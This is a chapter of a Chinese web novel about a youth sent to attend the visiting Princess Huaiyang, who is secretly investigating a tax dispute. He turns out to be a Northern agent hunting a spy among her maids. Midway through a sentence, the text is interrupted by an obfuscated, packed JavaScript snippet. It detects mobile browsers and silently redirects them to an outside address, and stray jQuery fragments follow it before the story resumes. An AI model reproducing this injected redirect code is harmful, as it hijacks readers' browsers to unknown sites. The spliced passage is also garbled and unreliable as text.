3. 第3章

作品:《长公主她又中美男计了

    少年刚进府衙,就被师爷火急火燎地拽走:“你去哪里了,县太爷找你半天了!”


    “县太爷主动找我?什么事?”


    “自然是火烧眉毛的大事!”


    少年也不由加快了脚步。


    他脸上还隐隐有一丝期待的兴奋:“又出什么事情了?是不是跟税银有关?需要我做什么?”


    师爷将他带到县令书房,意味深长地看他一眼:“待会你就知道了。你不是总闲不住么,这回县太爷有好事找你了。”


    少年脸上喜意更甚。


    谁知县令一见他,不说正事,只绕着他转了好几圈,还边转圈边盯着他的脸惊叹:“俊啊,小伙子是真俊啊!有我年轻时风采!”


    少年脸上喜意转为嫌恶。


    这青州人又有什么怪癖?


    还好在少年翻脸前,县令坐回了太师椅。县令笑容平和,语气中却另有深意:“小魏啊,虽然你是州牧府举荐来的,可我们县衙待你也不薄吧?”


    原来少年名叫魏行南。


    在县令眼里,他是被州牧府亲戚推举来的公子哥,被自己随手安排了个闲职。原本就是让他来混混日子。可没成想这位是个闲不住的,三天两头打听税银案,这是他一个公子哥该关心的吗?


    县令先前很是头疼。


    但是此刻,他无比庆幸府衙来了这么个公子哥。瞧瞧这脸蛋这气质,再瞧瞧这做派,听闻他平日吃穿都很讲究,应当是见过世面的。此事派他去最好啊!


    魏行南听县令语气不太对,他心下警惕起来,说话也不客气:“有事说事。”


    于是县令直言:“我蓬安县来了位贵客,如今正住在馆驿。你也瞧见了,如今青州因为税银的事情忙得焦头烂额。只要你陪好这位南建城来的公差,给我们留出时间,我必然不会亏待你。”


    魏行南听明白了:“你让我去陪客?”


    但是他转念一想刚才县令做派,厌恶之意转为愤怒,他拔高了声调质问:“那公差好男色?你让我以色侍人?我魏行南岂是那种人?!”


    “小魏你别急啊——”师爷见情形不对,连忙在旁打圆场,“那公差是好男色,但是不是你以为的那种。她是个女子!你若将她伺候好了,别说蓬安县小小县衙,就算你要去南建城一展拳脚,也未尝不可啊!”


    魏行南正义凛然:“女子又如何!女子就能逼我就范?我魏行南从不以色侍人!”


    他不需要这么做,也不屑这么做。


    师爷绿豆小眼提溜一转,捻着小胡子,露出个猥琐的笑容来:“年轻人话不要说得太满。你不吃软饭,不过是因为那饭还不够香。”


    师爷说到这里,有些嫉恨地揪了揪自己黑痣上的长毛,酸溜溜道:“若不是看你俊俏,这等好事哪里轮得上你!”


    魏行南嫌恶之色更甚。


    他知道师爷在说谁。


    魏行南眼神微瞟县令。这位县太爷虽然已经不年轻了,可眉眼间还是能看出几分年轻时的俊俏。县令本来也是寒门出身,靠着一副好皮囊,勾搭上了大官家的女儿,成了人家乘龙快婿,所以这般脑袋空空的也做上了官。


    “若只是此事,我办不到!”


    魏行南冷哼一声,转身就要离开。


    可县太爷轻飘飘的一句话就留住了他:“唉,那我只能派别人去陪长公主了。”


    魏行南跨过门槛的脚步一顿:“谁?”


    他满脸愕然地回过头来,还以为自己听错了。


    什么长公主?哪个长公主?是不是他想的那位长公主?


    县令反问:“我朝还有别的长公主吗?自然是戏文里的女英雄,我朝最有名的女子——淮阳长公主。若我再年轻个二十来岁,还有你什么事?可如今只能让师爷先去——”


    魏行南收回腿来。


    他变脸如翻书,老老实实地走到县令面前,十分诚恳地问道:“长公主如今是在驿馆?要待多少时日?”


    县令眼中含笑:“她可以?”


    魏行南服气点头:“她可以。”


    县令面有得色,将自己多年来侍奉夫人的本事倾囊相授,又说什么“英雄不问出处,好汉无论来路”。在县令兴奋地甚至要塞几本春宫图前,魏行南连忙喊停,敷衍说道自己都会。


    魏行南急不可耐地找借口离开。


    县令指着他匆匆离去的背影,满意地同师爷感慨道:“少年人路走宽了!”


    师爷的眼神则哀怨又嫉恨:“可恶啊!真是便宜这臭小子了!”


    魏行南催促车夫直奔驿馆,他满脸都是兴奋的潮红色。


    淮阳长公主!


    南国最有名的女子!坊间小报里勇猛的女将!戏曲中果敢斩妖妃的神仙!


    他就要亲自见到这传闻中的人物啦!


    不过他并不是想攀什么高枝。


    他早就知道淮阳长公主,应该说南北国没人不知道淮阳长公主。他家里珍藏着一本《长公主传》,那话本都快被魏行南翻烂了。也正是因为这本书,魏行南才独自离家来青州历练了。


    书中的淮阳长公主无所不能。


    魏行南打心底钦佩她。少年人在家受惯了束缚,直到看到了《长公主传》,了解了书里的长公主,才知晓人生还可以这样过。如果能见一面长公主,他死也无憾。


    可马车刚走到半路就猛地颠簸了一下。


    一块石头破空袭来,力道十足地直奔魏行南的俊脸。他眼疾手快地接住,虎口微震,他甩了甩手,心中猜到了丢石头的人,于是连忙喊着车夫:“前面巷口停一下。”


    魏行南下了车。


    没多久,就有一戴斗笠的男子也过来了。


    斗笠男子:“你不在县衙待着,又干什么去?”


    魏行南讥笑:“呵,你们支开我去蓬安县,什么也不告诉我。如今我也有自己的谋划,为何要告诉你们?”


    斗笠男子却一语道破:“你是不是要去找淮阳长公主?”


    魏行南愠怒:“你不去做正事,盯着我干什么?”


    斗笠男子却否认了盯梢。


    “我们早就在淮阳身边安插了细作,她从南建城一出发我们就知道了,算算时日也该到了。”男子压低了斗笠,声音也紧迫起来,“出了南建城后,我们就再没收到过细作信鸽。淮阳长公主不是寻常人,我们怀疑细作身份暴露了。”


    原来这斗笠男子和魏行南都是北国人。


    他们在青州有大图谋。如今南建城派了淮阳来,不仅蓬安县令坐立难安,他们这些人也不得不做些防备。


    斗笠男子又道:“既然你要去找淮阳,便顺路帮我们瞧瞧那细作。若她已经叛变,就——”


    他做了个抹脖子的手势。


    魏行南冷哼:“我不当你们的刽子手。”


    斗笠男子:“你不说主帅做事总故意支开你么?只要你办成这件事,青州之事主帅会带你一份。”


    魏行南有些意动。


    “那细作是何人?”


    “是淮阳身边的丫鬟。”


    而另一边,淮阳还在县衙门口打探消息。


    村民们闹腾一整天了,早就口干舌燥闹不动了,淮阳换了身衣裳鞋履,又抹黑了脸,指缝里塞进了泥,挑着两桶紫苏饮来县衙前卖:“最后两桶紫苏饮了诶,便宜卖了啊!”


    有村民凑过来问价钱。


    淮阳比出五根手指:“一文五碗。”


    这么便宜?真的假的啊?


    淮阳又大嗓门地


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15143246|164586||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    喊:“你们到底要不要啊?不要就走开了啊!我要赶紧卖完回家!天都要黑了!”


    紫苏不是什么值钱的东西。


    村民想,肯定是这村妇自己摘了泡的茶饮。如今天要黑了,她着急回家,这才低价卖了。


    村民们虽然日子苦,但是一文钱还是拿的出来的,他们一窝蜂地涌过来,县衙门口空了,当差的衙役都松了口气。


    几碗紫苏饮下肚,人就熟络起来。


    淮阳说她住在临县,是从外地远嫁青州的。家里相公摔断了腿,她只能白天出来卖紫苏饮赚点药钱,晚上再赶回去照顾瘸腿的相公,日子也过得紧巴巴的。几句假话将人骗得眼泪直流,有女子抹着眼泪喊:“都不容易。”


    淮阳见时机成熟赶紧套话:“大姐,你们又是为何来这县衙呀?”


    大姐如实托出,和那少年说得一致。


    她问了好几个村民,都和少年说的一致。今年原本交过税了,但是县太爷又突然增加了几个税种,这让村民们感觉没法活了。


    但是为什么加税,却没人知道。


    村民们只是一味地憎恨:“肯定是当官的缺钱了!今年风调雨顺,我们却要饿死了!天理何在啊!”


    淮阳心想还得找那少年。


    他瞧着知道的事情不少。


    淮阳心事重重地回了驿馆。


    刚踏进驿馆大门,她就听到里边相当热闹。


    有一个熟悉的声音大声道:“长公主为何不愿见我?我是蓬安县的书吏。听见了吗长公主,我说我是书吏!”


    淮阳上楼一瞧就乐了。


    她刚还想着那少年呢,没想到他自己就送上门来了,这真是得来全不费工夫。


    她还没来得及做声,又瞧见屋子那边情景。


    此刻已经是黄昏时分。


    屋里门窗关得严严实实的,却点着一盏灯,照出两个人影来。


    一个窈窕身影端坐窗前,高盘云鬓,她撩起袖子来遮住半张脸,小声地扭头与身后人说了些什么,举手投足皆是大家风范。


    淮阳知道这是土女在扮自己呢。


    她这才想起来,自己出门前嘱咐过川月土女,不要给别人透露自己出门了。想必是少年突然上门,这两丫鬟正替自己遮掩呢。


    她好整以暇地瞧起乐子来,你别说,若是没见过淮阳本人,这影子还真够唬人的。


    另一个纤长身影是站着的,此刻正低头倾听嘱咐,淮阳知道这是川月。


    果然,片刻后淮阳听到川月的声音:“长公主今日不舒服!你回去吧!我们不需要县衙的人伺候!”


    魏行南又问:“你是长公主丫鬟?”


    “是!”


    魏行南:“我和你哥哥江笠是旧识。长公主不愿见我,我与你说几句话可好?”


    “谁?”


    魏行南有些拿不准了。


    这女子不认识江笠。是真的不是她,还是说她在故意装蒜?难不成她真的叛变了?


    魏行南脑子里转了好几转,突然又冒出个新想法,他又问:“长公主身边不止一个丫鬟吧?”


    屋子里的土女川月脸色一变。


    她们还以为自己哪里漏了馅。


    淮阳就是这时走了出来。


    她朗声道:“对呀,长公主有两个丫鬟呢,你要找谁啊?”


    魏行南看到淮阳满眼震惊。


    是县衙门口嗑瓜子的女子!她果然不是寻常人!说南国官话、穿云头履,她肯定是从南建城来的;十指干净、眼神清明,她肯定出身大户人家;现下她又出现在驿馆,她肯定和淮阳关系匪浅。


    她还曾在县衙门口探头探脑……


    魏行南可以肯定:她就是那个失联的细作!